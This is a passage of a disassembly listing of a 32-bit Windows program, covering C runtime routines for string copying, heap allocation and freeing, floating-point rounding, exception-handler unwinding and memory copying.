		cmp	word ptr [eax],	0
		jz	short loc_415BD3


loc_415BCB:				; CODE XREF: sub_415BBF+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415BCB


loc_415BD3:				; CODE XREF: sub_415BBF+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_415BD8:				; CODE XREF: sub_415BBF+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415BD8
		pop	esi
		retn
sub_415BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE9	proc near		; CODE XREF: sub_403166+21Dp
					; sub_4033B6+BEp ...

arg_0		= dword	ptr  4

		push	dword_46B694
		push	[esp+4+arg_0]
		call	sub_415BFB
		pop	ecx
		pop	ecx
		retn
sub_415BE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BFB	proc near		; CODE XREF: sub_415BE9+Ap
					; sub_416655+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415C24


loc_415C02:				; CODE XREF: sub_415BFB+27j
		push	[esp+arg_0]
		call	sub_415C27
		test	eax, eax
		pop	ecx
		jnz	short locret_415C26
		cmp	[esp+arg_4], eax
		jz	short locret_415C26
		push	[esp+arg_0]
		call	sub_418A88
		test	eax, eax
		pop	ecx
		jnz	short loc_415C02


loc_415C24:				; CODE XREF: sub_415BFB+5j
		xor	eax, eax

locret_415C26:				; CODE XREF: sub_415BFB+13j
					; sub_415BFB+19j
		retn
sub_415BFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415C27	proc near		; CODE XREF: sub_415BFB+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_46CCA8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_415C4B
		cmp	esi, dword_46CCA0
		ja	short loc_415C7D
		push	esi
		call	sub_419011
		test	eax, eax
		pop	ecx
		jz	short loc_415C7D
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415C4B:				; CODE XREF: sub_415C27+Dj
		cmp	eax, 2
		jnz	short loc_415C7D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_415C60
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_415C63
; ---------------------------------------------------------------------------


loc_415C60:				; CODE XREF: sub_415C27+2Fj
		push	10h
		pop	esi


loc_415C63:				; CODE XREF: sub_415C27+37j
		cmp	esi, dword_43A164
		ja	short loc_415C8A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_419AB4
		test	eax, eax
		pop	ecx
		jnz	short loc_415C99
		jmp	short loc_415C8A
; ---------------------------------------------------------------------------


loc_415C7D:				; CODE XREF: sub_415C27+15j
					; sub_415C27+20j ...
		test	esi, esi
		jnz	short loc_415C84
		push	1
		pop	esi


loc_415C84:				; CODE XREF: sub_415C27+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_415C8A:				; CODE XREF: sub_415C27+42j
					; sub_415C27+54j
		push	esi
		push	0
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap


loc_415C99:				; CODE XREF: sub_415C27+52j
		pop	esi
		retn
sub_415C27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C9B	proc near		; CODE XREF: sub_4033B6+10Bp
					; sub_4033B6+113p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_415D01
		mov	eax, dword_46CCA8
		cmp	eax, 3
		jnz	short loc_415CC7
		push	esi
		call	sub_418CBD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415CF3
		push	eax
		call	sub_418CE8
		pop	ecx
		pop	ecx
		jmp	short loc_415D01
; ---------------------------------------------------------------------------


loc_415CC7:				; CODE XREF: sub_415C9B+14j
		cmp	eax, 2
		jnz	short loc_415CF2
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_419A18
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415CF2
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_419A6F
		add	esp, 0Ch
		jmp	short loc_415D01
; ---------------------------------------------------------------------------


loc_415CF2:				; CODE XREF: sub_415C9B+2Fj
					; sub_415C9B+44j
		push	esi


loc_415CF3:				; CODE XREF: sub_415C9B+20j
		push	0
		push	dword_46CCA4
		call	dword_421150	; RtlFreeHeap


loc_415D01:				; CODE XREF: sub_415C9B+Aj
					; sub_415C9B+2Aj ...
		pop	esi
		leave
		retn
sub_415C9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415D04(double)

sub_415D04	proc near		; CODE XREF: sub_404630+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437EE0
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415D8A
		call	sub_41A579
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415D6D
		cmp	eax, 2
		jle	short loc_415D5F
		cmp	eax, 3
		jnz	short loc_415D6D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_419E89
		add	esp, 10h
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415D5F:				; CODE XREF: sub_415D04+3Fj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415D6D:				; CODE XREF: sub_415D04+3Aj
					; sub_415D04+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415DC7
; ---------------------------------------------------------------------------


loc_415D8A:				; CODE XREF: sub_415D04+2Fj
		call	sub_41A53E
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415DAD


loc_415D9F:				; CODE XREF: sub_415D04+ACj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415DCF
; ---------------------------------------------------------------------------


loc_415DAD:				; CODE XREF: sub_415D04+99j
		test	bl, 20h
		jnz	short loc_415D9F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415DC7:				; CODE XREF: sub_415D04+84j
		call	sub_419EDC
		add	esp, 1Ch


loc_415DCF:				; CODE XREF: sub_415D04+59j
					; sub_415D04+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD3	proc near		; CODE XREF: sub_41781A+9p
					; sub_41A77A+21p
					; DATA XREF: ...
		call	sub_415DEB
		call	sub_41A77A
		mov	dword_46B610, eax
		call	sub_41A72A
		fnclex
		retn
sub_415DD3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415DEB	proc near		; CODE XREF: sub_415DD3p
		mov	eax, offset sub_41AB68
		mov	off_43A284, offset sub_41A7FD
		mov	off_43A280, eax
		mov	off_43A288, offset sub_41A863
		mov	off_43A28C, offset sub_41A7A3
		mov	off_43A290, offset sub_41A84B
		mov	off_43A294, eax
		retn
sub_415DEB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E24	proc near		; CODE XREF: sub_404630+1Bp
					; sub_404630+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E4B(double)

sub_415E4B	proc near		; CODE XREF: sub_40467C+83p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437EF8
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415ED1
		call	sub_41A579
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415EB4
		cmp	eax, 2
		jle	short loc_415EA6
		cmp	eax, 3
		jnz	short loc_415EB4
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_419E89
		add	esp, 10h
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415E4B+3Fj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EB4:				; CODE XREF: sub_415E4B+3Aj
					; sub_415E4B+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_415F0E
; ---------------------------------------------------------------------------


loc_415ED1:				; CODE XREF: sub_415E4B+2Fj
		call	sub_41A53E
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415EF4


loc_415EE6:				; CODE XREF: sub_415E4B+ACj
		push	esi
		push	ebx
		call	sub_41A6B1
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F16
; ---------------------------------------------------------------------------


loc_415EF4:				; CODE XREF: sub_415E4B+99j
		test	bl, 20h
		jnz	short loc_415EE6
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_415F0E:				; CODE XREF: sub_415E4B+84j
		call	sub_419EDC
		add	esp, 1Ch


loc_415F16:				; CODE XREF: sub_415E4B+59j
					; sub_415E4B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F1A	proc near		; CODE XREF: sub_41AFD9+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_415F1A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_415F4E	proc near		; CODE XREF: sub_41B18A+199p
					; sub_41B34E+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415F4E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415F55	proc near		; CODE XREF: sub_41B18A+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_415F55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F5C	proc near		; CODE XREF: sub_41610E+5Cp
					; sub_41AFD9:loc_41B00Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_415F84
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_420A0C	; RtlUnwind


loc_415F84:				; DATA XREF: sub_415F5C+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_415F5C	endp

; ---------------------------------------------------------------------------


loc_415FAB:				; CODE XREF: seg001:00420B68j
					; seg001:00420B85j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41ABDE
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415FE1	proc near		; CODE XREF: sub_41B054+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_416035
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41B3E0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_415FE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416035	proc near		; DATA XREF: sub_415FE1+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ABDE
		add	esp, 20h
		pop	ebp
		retn
sub_416035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41605A	proc near		; CODE XREF: sub_41AE20+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41610E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_4160E0
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_46B6B8
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_4160E0:				; DATA XREF: sub_41605A+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_4160FD
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_416106
; ---------------------------------------------------------------------------


loc_4160FD:				; CODE XREF: sub_41605A+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_416106:				; CODE XREF: sub_41605A+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41605A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41610E	proc near		; DATA XREF: sub_41605A+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416131
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41617E
; ---------------------------------------------------------------------------


loc_416131:				; CODE XREF: sub_41610E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41ABDE
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41616F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_415F5C


loc_41616F:				; CODE XREF: sub_41610E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41617E:				; CODE XREF: sub_41610E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41610E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416183	proc near		; CODE XREF: sub_41AC79+C6p
					; sub_41AE20+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_4161DA


loc_4161A1:				; CODE XREF: sub_416183+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4161AB
		call	sub_41B482


loc_4161AB:				; CODE XREF: sub_416183+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_4161C0
		cmp	ecx, [eax+8]
		jle	short loc_4161C5


loc_4161C0:				; CODE XREF: sub_416183+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4161D1


loc_4161C5:				; CODE XREF: sub_416183+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4161D1:				; CODE XREF: sub_416183+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4161A1
		mov	eax, [ebp+var_4]


loc_4161DA:				; CODE XREF: sub_416183+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4161EE
		cmp	esi, eax
		jbe	short loc_4161F3


loc_4161EE:				; CODE XREF: sub_416183+65j
		call	sub_41B482


loc_4161F3:				; CODE XREF: sub_416183+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_416183	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416200	proc near		; CODE XREF: sub_41D6A4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416218
		push	[ebp+arg_0]
		call	sub_420A0C	; RtlUnwind


loc_416218:				; DATA XREF: sub_416200+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416200	endp


; =============== S U B	R O U T	I N E =======================================



sub_416220	proc near		; DATA XREF: sub_416242+Ao
					; sub_4162AA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416241
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416241:				; CODE XREF: sub_416220+10j
		retn
sub_416220	endp


; =============== S U B	R O U T	I N E =======================================



sub_416242	proc near		; CODE XREF: sub_41B0FA+Dp
					; sub_41D6A4+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416220
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41625F:				; CODE XREF: sub_416242:loc_41629Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41629C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41629C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41629A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_4162D6
		call	dword ptr [ebx+esi*4+8]


loc_41629A:				; CODE XREF: sub_416242+44j
		jmp	short loc_41625F
; ---------------------------------------------------------------------------


loc_41629C:				; CODE XREF: sub_416242+2Aj
					; sub_416242+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416242	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162AA	proc near		; CODE XREF: sub_41B11A+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416220
		jnz	short locret_4162CC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_4162CC
		mov	eax, 1

locret_4162CC:				; CODE XREF: sub_4162AA+10j
					; sub_4162AA+1Bj
		retn
sub_4162AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162CD	proc near		; CODE XREF: sub_41B3E0+1Ep
					; sub_41B3E0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437EFC
		jmp	short loc_4162E0
sub_4162CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4162D6	proc near		; CODE XREF: sub_416242+4Fp
					; sub_41D6A4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437EFC
		mov	ecx, [ebp+8]


loc_4162E0:				; CODE XREF: sub_4162CD+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_4162D6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4162F0	proc near		; CODE XREF: sub_40467C+5p
					; sub_40481B+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_4162F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41630F	proc near		; CODE XREF: sub_404CE4+22p
					; seg001:004207E5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415C9B
		pop	ecx
		retn
sub_41630F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416320	proc near		; CODE XREF: sub_404D51+3Ap
					; sub_418CE8+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416340
		cmp	edi, eax
		jb	loc_4164B8


loc_416340:				; CODE XREF: sub_416320+16j
		test	edi, 3
		jnz	short loc_41635C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------


loc_41635C:				; CODE XREF: sub_416320+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_416374
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41637C+4[eax*4]
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_416320+46j
		jmp	dword ptr loc_416478[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41637C:				; CODE XREF: sub_416320+31j
					; sub_416320+8Ej ...
		jmp	off_4163FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 63h,	41h, 0
		dd offset loc_4163BC
		dd offset loc_4163E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4163BC:				; DATA XREF: sub_416320+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4163E0:				; DATA XREF: sub_416320+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41637C
		rep movsd
		jmp	off_416468[edx*4]
